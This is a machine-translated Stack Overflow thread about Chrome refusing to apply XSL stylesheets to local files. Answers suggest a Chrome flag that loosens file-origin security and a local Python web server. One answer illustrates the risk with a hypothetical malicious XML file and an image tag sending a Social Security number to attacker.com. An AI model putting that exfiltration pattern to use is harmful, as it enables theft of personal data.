Chromeでローカルファイルに対してXSL変換を実行することはできますか?


91

私はxsltを調べていて、w3schoolsの例でテストを開始しました。

ただし、xmlとxslをファイルに保存してローカルで開こうとすると、chromeはxsl変換を実行しません。空白のページが表示されるだけです。

<?xml-stylesheet type="text/xsl" href="style.xsl">タグをxmlドキュメントに追加しましたが、Firefoxはそれを想定どおりにレンダリングします。また、Webサーバーを介してファイルを見ると、chromeはファイルを想定どおりに表示します。

リンクがローカルの場合、Chromeでスタイルシート情報を見つけるのに問題がありますか?hrefをに変更しfile:///C:/xsl/style.xslても違いはありませんでした。

更新:これは、file:/// *を同一生成元として扱わないというセキュリティポリシーの副作用のようです。これにより、コンソールに次のエラーが表示されます。

URL file:/// C:/xsl-rpg/style.xslをURL file:/// C:/xsl-rpg/data.xmlのフレームからロードしようとすると安全ではありません。ドメイン、プロトコル、およびポートは一致する必要があります。


1
file:プロトコルからChromeが同じドメインエラーをスローするようです。

1
IE11では動作します。Chromeは悪になりつつあります。
マルコデマイオ

回答:


74

簡単な答えは「いいえ、そこにあるさまざまなブラウザのセットの1つを使用してください」です。

これが機能しない理由は、XMLファイルが同じディレクトリ内のローカルXSLTファイルにアクセスするのをブロックすることにより、Chromeが物議を醸す方法で対処したセキュリティ上の懸念によるものです[1] [2] [3] [4]、HTMLファイルは同じディレクトリ内の.CSSファイルに問題なくアクセスできます。

上記の問題全体で、ユーザーはより明確なエラーメッセージ(ドメイン、プロトコル、ポートが実際に一致するため)、または少なくともスタイルなしでXMLを表示することを求めています。Chrome開発者はこれらのリクエストを無視しています。


18
彼らの間にセキュリティ上の問題が理にかなって、XMLファイルはHTMLファイルが同じディレクトリから画像やスクリプトを読み込むことができます同じように、同じディレクトリからXSLスタイルシートをロードすることができるはずです。あなたが主演できる問題がありますが、Chrome開発チームはそれについての新しいコメントを禁止しました-ユーザーがローカルファイルの起点を緩和することをどれほどひどく望んでいたかを定量化できないと不平を言ったにもかかわらず。
ダンダスカレスク2013

1
興味深い事実:Mac(8.0)上のSafariはローカルXSLTで問題なく動作しますが、iOS(8)シミュレーター上のSafari(およびiOSでもそうだと思います)は、Chromeの場合と同じエラーを受け取りました。「ドメイン、プロトコル、およびポートは一致する必要があります。 "。しかし、アプリにUIWebViewを実装し、XSLTでXMLをロードする場合は、すべて問題なく動作します。
Paul Brewczynski 2015年

タスクが
Chrome

Chromiumで機能する1つのアプローチは、XSLファイルをdata:text / xslURIとしてXMLファイルにインライン化することです。
EricLaw

57

これは、Chromeのコマンドラインフラグを使用してローカルで実行できます。

特定のフラグは --allow-file-access-from-files

OS Xの場合:Terminal.appから実行 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Windowsの場合:コマンドプロンプトから実行 %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

注:Chromeが現在実行されている場合は、Chromeを終了する必要があります。それ以外の場合は、Ch


これはWindows7では機能していないようです。ここC:\Program Files (x86)\Google\Chrome\Applicationにchrome.exeがあり、-allow-file-access-from-filesコマンドは問題なく実行されますが、ローカルXMLドキュメント(ローカルXSLTファイル)は表示されません。
リックは

2
たぶん、Windowsタスクマネージャーでchrome.exeに対して実行中のすべてのWindowsプロセスを手動で強制終了する必要があります。私にとって、これはうまくいきました。
クリスチャンシュルツェンドルフ2015年

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files私のために働いた。明らかに、私はChromeCanaryを実行しています。このコマンドを実行すると、新しいChromeウィンドウが開き、XSL変換を実行できるようになります。
SeanLF 2015

2
Windows 7でより高速:ウィンドウキー+ R; "chrome--allow-file-access-from-files"; 入る。
アーロンキャンベル

またはPowerShellで(以前のクロムを強制終了します):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell

15

OPに固執したい場合、答えは「いいえ」です(他の人が指摘しているように)が、問題を解決する1つの方法は、単純なWebサーバーを実行し、http経由でChromeでファイルを開くことです。Python 2.xがインストールされている場合は、次のように入力してWebサーバーを実行できます。

python -m SimpleHTTPServer

またはPython3.xの場合:

python3 -m http.server

次にhttp://localhost:8000/yourfile.xml、Chromeでファイルを開きます。うまくいけば、あなたはあなたの仕事を終わらせたいだけであり、それを使ってファイルを開かなければならないことは重要なことではありませんfile://


3

Chromeのバグページを解読するのに少し時間がかかりました。彼らは問題が何であるか、そしてなぜ全員を壊さないのではなく全員を壊すことを選んだのかを説明しないことに非常に熱心です。

ハードドライブにXMLファイル(どこかに)があると仮定します。例:

C:\ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

そして、悪意のあるエンティティ(どういうわけか)が悪意のあるXmlファイルを私のコンピューターにドロップすることに成功しました。

C:\ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

TrojanVirusWorm.xmlにスタイルシート処理命令(PI)が含まれていると想像してください。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

次に、攻撃者は、ローカルに保存されたtrojanVirusWorm.xmlファイルに移動するようにブラウザに指示します。

どうやら、XMLファイルが(XSDファイルによって変換されるのではなく)XSDファイルの内容を読み取ることができる方法があります:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

XMLファイルがスタイルシートファイルを読み取る方法がわかりません。しかし、Chromeチームは、それが危険であり、解決できないことを保証しています。

他のすべてのブラウザがそれを解決しました。それは問題ではないので、彼らはそれを解決しまし


3

xslファイルに従ってxmlを表示するための回避策

ヘッダー付きのsome_file.xmlがあるとします。

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. ファイルをダウンロードしhttps://some-site.com/Common.xslて、some_file.xml
  2. ヘッダーの一部をからhref="https://some-site.com/Common.xsl"に変更します href="http://localhost:8001/Common.xsl"
  3. ファイルのあるディレクトリで実行します- python3 -m http.server 8001
  4. 任意のブラウザで開く http://localhost:8001/some_file.xml

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.